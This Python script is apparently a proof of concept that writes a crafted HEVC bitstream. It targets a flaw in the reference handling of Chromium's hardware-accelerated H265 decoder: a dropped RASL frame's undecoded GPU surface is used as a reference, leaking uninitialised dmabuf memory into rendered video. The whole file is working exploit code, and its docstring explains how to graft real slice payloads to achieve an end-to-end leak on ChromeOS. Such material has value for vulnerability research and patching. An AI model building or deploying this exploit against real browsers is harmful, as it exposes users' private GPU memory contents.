#!/usr/bin/env python3
"""
Generate a malicious HEVC Annex-B bitstream:

  VPS + SPS + PPS
  BLA_W_LP   (I-slice)  POC = 100
  RASL_R     (P-slice)  POC =  98   RPS = {delta_s0=-4, used=1}
  TRAIL_R    (P-slice)  POC = 101   RPS = {delta_s0=-3, used=1}  -> ref POC 98

When fed to Chromium's H265Decoder + VA-API/V4L2 accelerator delegate:
  * BLA_W_LP sets NoRaslOutputFlag=1.
  * RASL_R: a real GPU surface is allocated and the picture is stored in the
    DPB *before* the accelerator's SubmitFrameMetadata() runs; the delegate
    then sets drop_frame_=true and skips the hardware decode entirely. The
    surface backing the RASL picture is never written.
  * TRAIL_R: its short-term RPS has delta_poc_s0=-3 (POC 101-3 = 98), so
    BuildRefPicLists() selects the dropped RASL from the DPB purely by POC
    and hands its undecoded VASurfaceID / V4L2 reference timestamp to the
    hardware as RefPicList0[0]. The hardware inter-predicts the TRAIL frame
    from uninitialised dmabuf memory and the resulting frame is delivered to
    the renderer.

NOTE: the slice payloads here are dummy bytes -- they exercise Chromium's
H265Decoder (which never parses CTU data) and prove the DPB / ref-list logic
flaw, but they will NOT decode on real hardware. For an end-to-end leak on a
ChromeOS device you must graft real CABAC slice payloads (e.g. from x265)
onto these slice headers; see README.md.
"""

import struct, sys


class BitWriter:
    def __init__(self):
        self.bits = []  # list of 0/1

    def u(self, n, v):
        for i in range(n - 1, -1, -1):
            self.bits.append((v >> i) & 1)

    def b(self, v):
        self.bits.append(1 if v else 0)

    def ue(self, v):
        v1 = v + 1
        nz = v1.bit_length() - 1
        for _ in range(nz):
            self.bits.append(0)
        for i in range(nz, -1, -1):
            self.bits.append((v1 >> i) & 1)

    def se(self, v):
        self.ue(2 * v - 1 if v > 0 else -2 * v)

    def rbsp_trailing(self):
        self.bits.append(1)
        while len(self.bits) % 8:
            self.bits.append(0)

    def bytes(self):
        assert len(self.bits) % 8 == 0
        out = bytearray()
        for i in range(0, len(self.bits), 8):
            byte = 0
            for j in range(8):
                byte = (byte << 1) | self.bits[i + j]
            out.append(byte)
        return bytes(out)


def epb(raw):
    """Insert emulation-prevention bytes (00 00 03 before any 00/01/02/03)."""
    out = bytearray()
    z = 0
    for b in raw:
        if z >= 2 and b <= 3:
            out.append(0x03)
            z = 0
        out.append(b)
        z = z + 1 if b == 0 else 0
    return bytes(out)


def nalu(nal_type, payload_bits_fn):
    bw = BitWriter()
    bw.u(1, 0)          # forbidden_zero_bit
    bw.u(6, nal_type)   # nal_unit_type
    bw.u(6, 0)          # nuh_layer_id
    bw.u(3, 1)          # nuh_temporal_id_plus1
    payload_bits_fn(bw)
    bw.rbsp_trailing()
    return b'\x00\x00\x00\x01' + epb(bw.bytes())


# ---- profile_tier_level ----
def ptl(bw):
    bw.u(2, 0)      # general_profile_space
    bw.u(1, 0)      # general_tier_flag
    bw.u(5, 1)      # general_profile_idc = Main
    bw.u(32, 0)     # general_profile_compatibility_flags
    bw.u(1, 0)      # progressive_source_flag
    bw.u(1, 0)      # interlaced_source_flag
    bw.u(1, 0)      # non_packed_constraint_flag
    bw.u(1, 0)      # frame_only_constraint_flag
    bw.u(43, 0)     # reserved_zero_43bits
    bw.u(1, 0)      # inbld_flag
    bw.u(8, 60)     # general_level_idc (level 2.0)


def vps(bw):
    bw.u(4, 0)      # vps_video_parameter_set_id
    bw.u(1, 0)      # vps_base_layer_internal_flag
    bw.u(1, 0)      # vps_base_layer_available_flag
    bw.u(6, 0)      # vps_max_layers_minus1
    bw.u(3, 0)      # vps_max_sub_layers_minus1
    bw.u(1, 1)      # vps_temporal_id_nesting_flag
    bw.u(16, 0xffff)
    ptl(bw)
    bw.u(1, 0)      # vps_sub_layer_ordering_info_present_flag
    bw.ue(3)        # vps_max_dec_pic_buffering_minus1[0]
    bw.ue(2)        # vps_max_num_reorder_pics[0]
    bw.ue(0)        # vps_max_latency_increase_plus1[0]
    bw.u(6, 0)      # vps_max_layer_id
    bw.ue(0)        # vps_num_layer_sets_minus1
    bw.u(1, 0)      # vps_timing_info_present_flag
    bw.u(1, 0)      # vps_extension_flag


def sps(bw):
    bw.u(4, 0)      # sps_video_parameter_set_id
    bw.u(3, 0)      # sps_max_sub_layers_minus1
    bw.u(1, 1)      # sps_temporal_id_nesting_flag
    ptl(bw)
    bw.ue(0)        # sps_seq_parameter_set_id
    bw.ue(1)        # chroma_format_idc = 4:2:0
    bw.ue(64)       # pic_width_in_luma_samples
    bw.ue(64)       # pic_height_in_luma_samples
    bw.u(1, 0)      # conformance_window_flag
    bw.ue(0)        # bit_depth_luma_minus8
    bw.ue(0)        # bit_depth_chroma_minus8
    bw.ue(4)        # log2_max_pic_order_cnt_lsb_minus4 -> 8-bit POC
    bw.u(1, 0)      # sps_sub_layer_ordering_info_present_flag
    bw.ue(3)        # sps_max_dec_pic_buffering_minus1[0]
    bw.ue(2)        # sps_max_num_reorder_pics[0]
    bw.ue(0)        # sps_max_latency_increase_plus1[0]
    bw.ue(0)        # log2_min_luma_coding_block_size_minus3
    bw.ue(3)        # log2_diff_max_min_luma_coding_block_size -> 64x64 CTB
    bw.ue(0)        # log2_min_luma_transform_block_size_minus2
    bw.ue(3)        # log2_diff_max_min_luma_transform_block_size
    bw.ue(0)        # max_transform_hierarchy_depth_inter
    bw.ue(0)        # max_transform_hierarchy_depth_intra
    bw.u(1, 0)      # scaling_list_enabled_flag
    bw.u(1, 0)      # amp_enabled_flag
    bw.u(1, 0)      # sample_adaptive_offset_enabled_flag
    bw.u(1, 0)      # pcm_enabled_flag
    bw.ue(0)        # num_short_term_ref_pic_sets
    bw.u(1, 0)      # long_term_ref_pics_present_flag
    bw.u(1, 0)      # sps_temporal_mvp_enabled_flag
    bw.u(1, 0)      # strong_intra_smoothing_enabled_flag
    bw.u(1, 0)      # vui_parameters_present_flag
    bw.u(1, 0)      # sps_extension_present_flag


def pps(bw):
    bw.ue(0)        # pps_pic_parameter_set_id
    bw.ue(0)        # pps_seq_parameter_set_id
    bw.u(1, 0)      # dependent_slice_segments_enabled_flag
    bw.u(1, 0)      # output_flag_present_flag
    bw.u(3, 0)      # num_extra_slice_header_bits
    bw.u(1, 0)      # sign_data_hiding_enabled_flag
    bw.u(1, 0)      # cabac_init_present_flag
    bw.ue(0)        # num_ref_idx_l0_default_active_minus1
    bw.ue(0)        # num_ref_idx_l1_default_active_minus1
    bw.se(0)        # init_qp_minus26
    bw.u(1, 0)      # constrained_intra_pred_flag
    bw.u(1, 0)      # transform_skip_enabled_flag
    bw.u(1, 0)      # cu_qp_delta_enabled_flag
    bw.se(0)        # pps_cb_qp_offset
    bw.se(0)        # pps_cr_qp_offset
    bw.u(1, 0)      # pps_slice_chroma_qp_offsets_present_flag
    bw.u(1, 0)      # weighted_pred_flag
    bw.u(1, 0)      # weighted_bipred_flag
    bw.u(1, 0)      # transquant_bypass_enabled_flag
    bw.u(1, 0)      # tiles_enabled_flag
    bw.u(1, 0)      # entropy_coding_sync_enabled_flag
    bw.u(1, 0)      # pps_loop_filter_across_slices_enabled_flag
    bw.u(1, 0)      # deblocking_filter_control_present_flag
    bw.u(1, 0)      # pps_scaling_list_data_present_flag
    bw.u(1, 0)      # lists_modification_present_flag
    bw.ue(0)        # log2_parallel_merge_level_minus2
    bw.u(1, 0)      # slice_segment_header_extension_present_flag
    bw.u(1, 0)      # pps_extension_present_flag


def st_rps(bw, num_neg, delta_poc_s0_minus1):
    # st_rps_idx==0 -> no inter_ref_pic_set_prediction_flag
    bw.ue(num_neg)      # num_negative_pics
    bw.ue(0)            # num_positive_pics
    for _ in range(num_neg):
        bw.ue(delta_poc_s0_minus1)
        bw.b(1)         # used_by_curr_pic_s0_flag


def slice_bla(bw):
    bw.b(1)             # first_slice_segment_in_pic_flag
    bw.b(0)             # no_output_of_prior_pics_flag
    bw.ue(0)            # slice_pic_parameter_set_id
    bw.ue(2)            # slice_type = I
    bw.u(8, 100)        # slice_pic_order_cnt_lsb
    bw.b(0)             # short_term_ref_pic_set_sps_flag
    st_rps(bw, 0, 0)
    bw.se(0)            # slice_qp_delta
    bw.u(8, 0xAA)       # dummy slice payload


def slice_p(bw, poc_lsb, dpoc_minus1):
    bw.b(1)             # first_slice_segment_in_pic_flag
    bw.ue(0)            # slice_pic_parameter_set_id
    bw.ue(1)            # slice_type = P
    bw.u(8, poc_lsb)    # slice_pic_order_cnt_lsb
    bw.b(0)             # short_term_ref_pic_set_sps_flag
    st_rps(bw, 1, dpoc_minus1)
    bw.b(0)             # num_ref_idx_active_override_flag
    bw.ue(0)            # five_minus_max_num_merge_cand
    bw.se(0)            # slice_qp_delta
    bw.u(8, 0xAA)       # dummy slice payload


def main():
    out = bytearray()
    out += nalu(32, vps)                                    # VPS_NUT
    out += nalu(33, sps)                                    # SPS_NUT
    out += nalu(34, pps)                                    # PPS_NUT
    out += nalu(16, slice_bla)                              # BLA_W_LP
    out += nalu(9, lambda bw: slice_p(bw, 98, 3))           # RASL_R, ref POC 94
    out += nalu(1, lambda bw: slice_p(bw, 101, 2))          # TRAIL_R, ref POC 98
    fn = sys.argv[1] if len(sys.argv) > 1 else 'poc.hevc'
    with open(fn, 'wb') as f:
        f.write(out)
    print(f'wrote {len(out)} bytes to {fn}')
    print(' '.join(f'{b:02x}' for b in out))


if __name__ == '__main__':
    main()
